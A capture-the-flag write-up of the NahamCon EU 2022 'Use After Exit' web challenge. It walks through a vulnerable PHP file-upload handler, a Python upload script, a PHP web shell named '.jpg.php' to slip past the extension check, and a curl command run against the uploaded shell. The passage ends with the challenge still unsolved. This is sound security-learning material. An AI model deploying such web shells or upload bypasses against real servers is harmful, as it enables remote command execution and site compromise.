siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Use After Exit

Overview

Background

Author: @carlopolop#3938

It’s as easy as it looks, isn’t it?

Press the Start button on the top-right to begin this challenge.

Connect with:

Find The Flag

Home page:

Hmm… Let’s break down that PHP code:

<?php
error_reporting(0);
if (isset($_POST['submit'])) {
    $file_name = urldecode($_FILES['file']['name']);
    $tmp_path = $_FILES['file']['tmp_name'];
    if(strpos($file_name, ".jpg") == false){
        echo "Invalid file name";
        exit(1);
    }
    $content = file_get_contents($tmp_path);
    $all_content = '<?php exit(0);'. $content . '?>';
    $handle = fopen($file_name, "w");
    fwrite($handle, $all_content);
    fclose($handle);
    echo "Done.";
}
else{
    show_source(__FILE__);
}
?> 

Armed with above information, we can try to upload a file submit via a python script:

#!/usr/bin/python3

import requests

url = 'http://challenge.nahamcon.com:30714/'

data = {
	'submit': 'submit'
}

file = {
	'file': open('./FILE_HERE', 'rb')
}

print(requests.post(url, data=data, files=file).text)

Let’s try to upload a normal image jpg file:

file = {
	'file': open('./test.jpg', 'rb')
}
┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# python3 exploit.py
Done.

However, we can’t view that image, as the PHP code adds the exit(0); in the uploaded file, thus the image is broken:

┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# wget http://challenge.nahamcon.com:30714/test.jpg

┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# head -n 1 test.jpg.1
<?php exit(0);����JFIF��C

We can try to upload a PHP web shell with .jpg.php extension:

┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# echo '<?php system($_GET["cmd"]); ?>' > webshell.jpg.php

This can bypass the .jpg whitelist, as it only checks the file name contains .jpg or not.

file = {
	'file': open('./webshell.jpg.php', 'rb')
}
┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# python3 exploit.py
Done.

Ah! The PHP code is adding <?php exit(0); and ?> to our file.

Let’s update our web shell again:

┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# echo 'system($_GET["cmd"]);' > webshell.jpg.php
┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# python3 exploit.py                                       
Done.
┌──(root🌸siunam)-[~/ctf/NahamCon-EU-CTF-2022/Web/Use-After-Exit]
└─# curl http://challenge.nahamcon.com:31792/webshell.jpg.php --get --data-urlencode "cmd=id"
                                                                                        

However, we didn’t have any output, as the exit(0); is getting executed first, which causes the web shell do nothing!

Note: exit() is a function that stops execution for the entire script.

How do we bypass that…

Race condition?

Multiple PHP opening & closing tags, like this?

<?php exit(0);
?><?php echo 'test';
?>

Override the index.php file via fopen() write mode?

Maybe I need to do path traversal?

Or maybe SSRF(Server-Side Request Forgery) via file name, and then read local files or access local services?

Also, this PHP code is weird to me, why it’s doing URL decode?

$file_name = urldecode($_FILES['file']['name']);

After digging deeper in those rabbit holes, still no dice…